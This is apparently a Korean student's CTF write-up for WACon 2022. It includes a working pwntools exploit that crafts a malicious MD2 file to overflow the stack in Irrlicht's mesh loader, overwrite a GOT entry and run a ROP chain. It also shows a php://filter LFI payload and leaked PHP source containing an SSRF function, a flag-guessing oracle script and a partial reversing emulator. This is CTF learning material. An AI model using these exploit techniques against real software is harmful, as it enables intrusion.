올해 처음 열린 대회라 기대했고 본선도 가보면 좋겠다 싶었는데 아쉽게 못 갔다.. ㅎㅎ
Pwn - babystack2022 이 문제를 오랫동안 봤고 Web 문제들은 Kunclen LFI까지 성공한 후 풀지 못하였다.
대회 시간은 위와같이 토요일 오전 9시부터 일요일 오후 9시까지 진행되었다.
원래 토요일날 고급물리학 수행보러 가기로했었는데 쌤이 기말끝나고로 미뤄주셨다.
먼저 babystack2022은 입력부터 지금까지 풀어온 문제들과 달랐다.
#!/bin/bash -e
CONN_ENV="$(mktemp -d -t challenv-XXXXXXXXXX)"
FILE_NAME="exploit.md2"
cd `dirname "$0"`
trap 'rm -rf -- "$CONN_ENV"' EXIT
echo "Give me the MD2 mesh file to convert"
cat > "$CONN_ENV/$FILE_NAME"
echo "OK. $(wc -c < "$CONN_ENV/$FILE_NAME") bytes read."
echo "Now processing your file"
./MeshConverter $CONN_ENV/$FILE_NAME /dev/null
cat > 으로 입력받는데 Ctrl + d로 입력을 못 끊어줘서 일단 리모트는 포기하고 로컬에서 익스해보기로 마음먹었다.
https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975
이 문제는 위의 CMD2MeshFileLoader.cpp 의 loadFile 함수에서 발생하는 BOF 취약점을 기반으로 하였다.
파일의 header 부분을 읽어서 파싱하는데, 이때 frameSize에 대한 검증 없이 스택 buffer에 그대로 입력받아서 문제가 생긴다.
간단해보이는 ROP 문제 같지만, 막상 BOF 해보면 문제가 하나씩 생긴다.
https://github.com/freeminer/irrlicht/blob/master/source/Irrlicht/CMD2MeshFileLoader.cpp
먼저, frame 포인터의 값이 0이면 안된다. - Seg fault
두번째로, numTriangles가 0이 아니면 triangles 포인터는 0이면 안된다. - assert error
numTriangles가 0이면 triangles 포인터는 0이어도 된다.
numVertices가 0이 아니면, mesh->FrameList[i] 가 0이면 안된다. - assert error
FrameList가 0이 아니려면, 전 사진에서의 mesh->FrameList[i].push_back() 이 실행되어야 하므로 numTriangles는 0이면 안된다.
numVertices가 0이면, mesh->FrameList[i]가 0이어도 된다.
numFrames가 0이 아니면, textureCoords와 triangles 포인터가 0이 아니어야 한다. - Seg fault
numFrames가 0이면, 0이어도 상관없다.
triangles와 textureCoords가 0이면 상관없지만, 0이 아니라면 Chunk의 구조여야 한다. - Abort error
여기까지 정리하자면, 크게 2가지로 나눌 수 있다.
1) triangles, texture Coords == 0
numTriangles = 0, numVertices = 0, numFrames = 0 이어야한다.
2) triangles, texture Coords != 0
그래서 1)의 경우로 파일을 구성해보면, delete 까지는 다 에러 안나면서 올 수 있다.
하지만 마지막의
mesh->getMesh(); 부분에서 에러가 난다.
왜 나는가 해서 들어가보면,
https://github.com/freeminer/irrlicht/blob/master/source/Irrlicht/CAnimatedMeshMD2.cpp
getMesh-updateInterpolationBuffer 에서
InterpolationBuffer->setBoundingBox(BoxList[secondFrame].getInterpolated(BoxList[firstFrame],div));
BoxList가 비어있어서 Assertion Error 가 뜬다.
위와 같이 다 0으로 해두고 (frame pointer 제외) 실행해보면 addbox3d 관련 index 에러가 나는 것을 볼 수 있다.
그렇다면,
1) triangles, texture Coords == 0
numTriangles = 0, numVertices = 0, numFrames = 0 이어야한다.
=> BoxList 가 numFrames, numTriangles(원래 1) 와 맞지않게 길이가 0이다.
=> Error!
=> numTriangles 다시 1로?
=> triangles !=0
=> delete 할때 Error!
=> ???
이처럼 모순이 생겨버린다.
여기까지가 대회 시작하고 3시간 정도에 알아낸 부분이며,
이 모순은 해결하기 어렵겠다 하고 다음날로 미루었다.
다음날에 다시 코드를 보는데,
항상 포너블 풀 때는 ㄹㅇ 참신하게 생각해야 문제를 풀 수 있었어서,
창의적인 생각을 하려고 노력을 했다.
다시 돌아와서 이 부분을 보는데,
https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975
위 링크에서 numFrames를 1로 해놔서 나도 그냥 1로 해놓고 있었는데,
생각해보니 for문을 한번만 돌 필요는 없겠다 생각이 들었다.
그리고 첫 read 에서 frame 포인터를 덮을 수 있었으니,
frame 포인터를 어떤 함수의 got로 만들 수 있지않을까? malloc_hook으로?
다시 밑의 부분이 생각났다.
delete 하는 함수의 got를 바꾸면 되겠다!
하고 드디어 한 단계 더 나아갈 기미가 보였다
다시 for문을 돌때
numTriangles=1, numFrames=2,numVertices=1
triangles와 textureCoords 는 임의의 주소
이렇게 설정되어있어야 에러가 나지 않음을 알 수 있다.
그리고 got 에 쓸 주소는
0x5D7608 로 정했다. (loadFile Epilogue)
ret 에 잘 오고 ret overwrite도 잘 된 것 같다.
ROP 페이로드는
위처럼 했고, 가젯이 참 많아서 좋았다.
from pwn import *
context.log_level = 'debug'
e = ELF('./MeshConverter')
log.info('%x' % e.got['puts'])
prdi = 0x41ab0f
prsi = 0x587d19
prdx = 0x5b0972
payload = b''
payload += p64(prdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(prdi)
payload += p64(0)
payload += p64(prsi)
payload += p64(e.got['puts'])
payload += p64(prdx)
payload += p64(8)
payload += p64(e.plt['read'])
payload += p64(e.plt['puts'])
md2header = b""
md2header += p32(844121161) # magic
md2header += p32(8) # version
md2header += p32(0) # skinWidth
md2header += p32(0) # skinHeight
md2header += p32(0x2140 + len(payload)) # frameSize
md2header += p32(0) # numSkins
md2header += p32(0) # numVertices
md2header += p32(1) # numTexcoords
md2header += p32(1) # numTriangles
md2header += p32(0) # numGlcommands
md2header += p32(2) # numFrames
md2header += p32(0) # offsetSkins
md2header += p32(0) # offsetTexcoords
md2header += p32(0) # offsetTriangles
md2header += p32(68) # offsetFrames
md2header += p32(0) # offsetGlCommands
md2header += p32(0) # offsetEnd
#### set frame data
md2header += b"a" * (0x2140 - 0xc0)
md2header += b'\0' * 16 # header ---
md2header += p32(0x8) # second frameSize -> write on <_ZdaPv@got>
md2header += p32(0) #numSkins
md2header += p32(1) #numVertices
md2header += p32(0) #numTexcoords
md2header += p32(1) #numTriangles = 1
md2header += p32(0)
md2header += p32(2) #numFrames = 2 => one more time
md2header += b'\0' * 24 # header ----
md2header += b'\0' * (0x68-68)
md2header += p64(0x8b0558) # frame pointer = 0x8b0558 <_ZdaPv@got.plt> ( delete [] triangles ) -> malloc error X
md2header += p64(0x739060) # triangles pointer = any pointer
md2header += p64(0x739060) # textcoords pointer
md2header += b'\0' * (0x2140 - len(md2header) + 68)
md2header += payload
# second frame
md2header += p64(0x5D7608)
with open("exp2.md2", "wb") as f:
f.write(md2header)
context.terminal = ['tmux','splitw','-h']
p = process(['MeshConverter','exp2.md2','/dev/null'])
gdb.attach(p,'b*0x5D66AA\nb*0x41A57A')
pause()
p.interactive()
여기까지 정말 잘되었고, 대회는 9시간정도 남은 시점이다.
그런데 문제는 정말 생각지도 못한 곳에서 일어났다.
이놈이 gdb에서만 멀쩡히 돌아가고 나머지는 다 Seg fault를 내뱉었다.
gdb로 attach 해보려했지만 실패
core dump 보려했지만 sigsegv는 안되는 것 같아서 실패
나름 여러 시스템 해킹 문제를 풀어봤기에,
이럴때는 원인부터 알아야하는 것이 먼저라고 생각했다.
따라서 디버깅해보려 했지만 다 안됐기에
추측을 해보았다.
1) 정상 작동이지만 output이 안 된채 에러를 뱉고 뻗었다.
=> read ROP가 실행되면 입력이라도 받아야하는 거 아닌가?
2) Stack padding이나 정렬이 gdb와 다르다
=> numTriangles, 등등 바꿔가며 나오는 에러를 보고, assert 에러도 SkyFrame, Box, 다 의도한대로 났다.
=> header 부분까지는 스택에 잘 들어갔다.
=> RET 부분이 안 맞나?
=> 아래와 같이 패딩 더하고 빼고(frameSize 조절하면서) 해봤지만 다 안된다.
=> 1) 정상 작동 하는거 아닌가?
위 굴레에 빠지고 대회 끝날때까지 빠져나오지 못했다.
다른 분들의 풀이를 보면 이런 구간은 없었던 것 같은데,
암튼 이 이후의 부분은 대부분 리버스쉘로 푸신 것 같다.
그래도 gdb로 에러 하나씩 다 체크하면서
몇십시간동안 디버깅하고 고치고 한 경험은 좋은 것 같다.
이번 Wacon 대회 하고 암호학/리버싱/웹 분야의 풀이들을 보는데 그냥 ㅋㅋㅋㅋㅋ
앞으로 갈 길이 멀게 느껴지면서도 편안해지는 느낌이다.
+ Blocks, Kunclen, interspace
MISC의 interspace 문제를 풀었다.
#!/usr/bin/env python3
import difflib
import itertools
import random
import os
import re
import signal
import string
import time
def bye(*args):
print("Bye!")
exit(1)
signal.signal(signal.SIGALRM, bye)
signal.alarm(5)
STEPS = 10
FLAG = os.environ.get("FLAG", "WACon{fake-flag}")
print("Flag distance calculator:")
for i in range(STEPS):
candidate = input("> ").strip()
if candidate == FLAG:
print("Congratulations!")
exit(0)
elif candidate:
print(1 - difflib.SequenceMatcher(None, candidate, FLAG).ratio())
bye()
difflib.SequenceMatcher 함수를 찾아보면
위처럼 매치들을 구한 다음,
2 * matches / length(둘이 더한) = ratio
가 된다.
따라서 먼저 WACon{ 을 보내면
Match(a=0,b=0,size=6) 이 나오고, 2*6/length = a
즉 length - 6 = Flag길이 = 12 / a 가 됨을 알 수 있다.
서버에서는 1에서 뺀 값을 주기 때문에 다시 1에서 빼주면 0.24가 나오고, Flag 길이가 44글자라는 것을 알 수 있다.
이후, 어떤 글자가 쓰이는지를 알아야 한다.
이는 한글자씩 보내서 나오는 값의 차이로 구할 수 있다.
from pwn import *
letters = []
tmp = True
i=0
while tmp:
p = remote('175.123.252.156', 9000)
for j in range(10):
if string.printable[i] == ' ':
tmp = False
break
p.sendlineafter('>',string.printable[i])
ratio = 1 - float(p.recvuntil('\n'))
if ratio != 0:
letters.append(string.printable[i])
i += 1
p.recvuntil('!')
p.close()
print(letters)
각 글자가 몇번 쓰였는지 알기 위해 각 글자를 1개씩, 2개씩 .. 넣어보고 확률의 기울기? 가 달라지는 부분을 찾는다.
1 ~ 6개까지 넣어봤을떄, 분석한 결과는 다음과 같다.
a 4개
c 2개
_ 6개
e 5개
i 3개
n 3개
s 3개
f 1개
m 1개
o 1개
t 2개
r 2개
p 2개
d 2개
+ WACon{} 7개
= 44개
이제는 순서를 맞추어야 하는데, 여기서 생각할 점이 있다.
tomato 라는 단어가 있을때,
ot와 to는 값의 차이가 없다.
반면 ma와 am은 값의 차이가 있다.
ot는 o 오른쪽에 t가 있고, to는 t 왼쪽에 o가 있으니 둘이 ratio가 같고,
m 오른쪽에는 a가 있지만 a 왼쪽에는 m이 있으니 둘이 ratio가 다르게 되는 것이다.
이를 이용해서 글자수가 1개인 것부터 고정시키고 나머지를 추가해가면서, 왼쪽 오른쪽에 배치하며
ratio가 높은 쪽으로 수정을 해주면 답에 근접해진다.
0.9까지 왔는데,
and의 위치가 바뀌어야 할 것 같아 made 왼쪽인지 오른쪽인지 봤고,
made 오른쪽에 있었다.
아하! inter_and_space겠구나! 해서 해보니 됐다.
WACon{interspace_is_made_of_inter_and_space}
Web - Kuncelan
별건 아니고, LFI까지만 했다.
guest/guest 로 로그인 하고
LFI 느낌이 솔솔 나서
http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=load
예!
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">ðððð:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites ð</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="ð Request HTTP ð">
</form><?php echo $out; ?>
</main>
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['username'])) {
header('location: ./login.php');
die();
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.png">
<title>Home</title>
<link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">
<!-- Bootstrap core CSS -->
<link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
</head>
<body>
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
</li>
</ul>
<h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> ð</h5>
<h5><a class="nav-link" href="./logout.php">Logout</a></h5>
</div>
</nav>
</header>
<!-- Begin page content -->
<?php
if (isset($_GET["fun_004ded7246"])) {
if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
else {
?>
<main role="main" class="container">
<h1 class="mt-5">They said ?</h1>
<p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
</main>
<?php
}
}
else{
header('location: ./index.phtml?fun_004ded7246');
die();
}
?>
<footer class="footer">
<div class="container">
<span class="text-muted">You can totally do this.</span>
</div>
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
<script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
</body>
</html>
load.phtml과 index.phtml을 얻었다.
이후에는 못했는데,
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
, gopher wrapper 등을 이용해 풀 수 있다고 한다.
Reversing Blocks
#include <stdio.h>
#include <stdlib.h>
int main()
{
char* init_block = "./blocks/740664bbc7d31ede7e9627d3e65a6fa04f3732788081bc77034e7c7c37b8267a";
FILE* stream;
int data[6*2] = { 0, };
char* binData = (char*)calloc(1,0x2000);
int i = 0;
for(i=0;i<9;i++)
data[i] = 0;
data[9] = 1;
stream = fopen("./blocks/data","rb");
fread(binData + 0x1000, 1, 0x1000, stream);
fclose(stream);
stream = fopen(init_block, "rb");
i=0;
while(1)
{
char op;
char a, b,c,input = 0;
char buf1[74] = { '.','/','b','l','o','c','k','s','/', 0 };
char buf2[74] = { '.','/','b','l','o','c','k','s','/', 0 };
int tmp;
fread(&op,1,1,stream);
printf("[%d] OP : %2X ",i++,op);
switch (op)
{
case 0:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
//*((int*)v4 + 2 + b) = *(char*)(*(long*)data + *((int*)data + a + 2));
data[b] = binData[data[a]];
printf("\tdata[%d] = (int* )binData[data[%d]]",b,a);
break;
case 1:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
//*((int*)data + 2 + b) = *(int*)(*(long*)data + *((int*)data + a + 2));
data[b] = ((int*)binData)[data[a]];
printf("\tdata[%d] = (char*)binData[data[%d]]",b,a);
break;
case 2:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
//*(char*)(*(long*)data + *((int*)data + a + 2))= *((int*)data + 2 + b);
binData[binData[a]] = data[b];
printf("\tbinData[binData[%d]] = data[%d]",a,b);
break;
case 3:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
//*(int*)(*(long*)data + *((int*)data + a + 2))= *((int*)data + 2 + b);
((int*)binData)[binData[a]] = data[b];
printf("\t(int*)binData[binData[%d]] = data[%d]",a,b);
break;
case 4:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) + *((int*)data + b + 2);
data[c] = data[a] + data[b];
printf("\tdata[%d] = data[%d] + data[%d]",c,a,b);
break;
case 5:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) - *((int*)data + b + 2);
data[c] = data[a] - data[b];
printf("\tdata[%d] = data[%d] - data[%d]",c,a,b);
break;
case 6:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) & *((int*)data + b + 2);
data[c] = data[a] & data[b];
break;
case 7:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) | *((int*)data + b + 2);
data[c] = data[a] | data[b];
break;
case 8:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) ^ *((int*)data + b + 2);
data[c] = data[a] ^ data[b];
break;
case 9:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
break;
case 0xa:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
break;
case 0xb:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) << *((int*)data + b + 2);
data[c] = data[a] << data[b];
break;
case 0xc:
fread(&a,1,1,stream);
fread(&b,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = *((int*)data + a + 2) >> *((int*)data + b + 2);
data[c] = data[a] >> data[b];
break;
case 0xd:
fread(&a,1,1,stream);
fread(&tmp,1,4,stream);
//*((int*)data + a + 2) = tmp;
data[a] = tmp;
printf("\tdata[%d] = %d",a,tmp);
break;
case 0xe:
fread(&a,1,1,stream);
fread(&c,1,1,stream);
//*((int*)data + c + 2) = ~*((int*)data + a + 2);
data[c] = ~data[a];
break;
case 0xf:
fread(&a,1,1,stream);
printf("end with %d", a);
return;
case 0x10:
read(0,&input,1);
fread(&a,1,1,stream);
//*((int*)data + a + 2) = input;
data[a] = input;
break;
default:
break;
}
fread(&a,1,1,stream);
fread(buf1 + 9,1, 64, stream);
fread(buf2 + 9,1, 64, stream);
fclose(stream);
printf("{%d}",a);
if(data[a])
{
//printf("\t%s\n",buf2);
stream = fopen(buf2,"rb");
}
else
{
//printf("\t%s\n",buf1);
stream = fopen(buf1,"rb");
}
/*
int j;
printf("\ndata : { ");
for(j=0;j<12;j++) printf("%x ",data[j]);
printf(" }\n");*/
puts("");
}
}
대충 만들고 어지러워서 포기했다.
'CTF Writeup' 카테고리의 다른 글
2022 WhiteHatContest Junior Final Writeup (0) | 2022.11.20 |
---|---|
2022 Codegate Junior Final (1) | 2022.11.08 |
Codegate 2022 Junior 예선 WriteUp (0) | 2022.02.27 |
2021 Layer7 CTF 후기 / Writeup (1) | 2021.11.25 |
DAM CTF 2021 - Sneaky Script (0) | 2021.11.11 |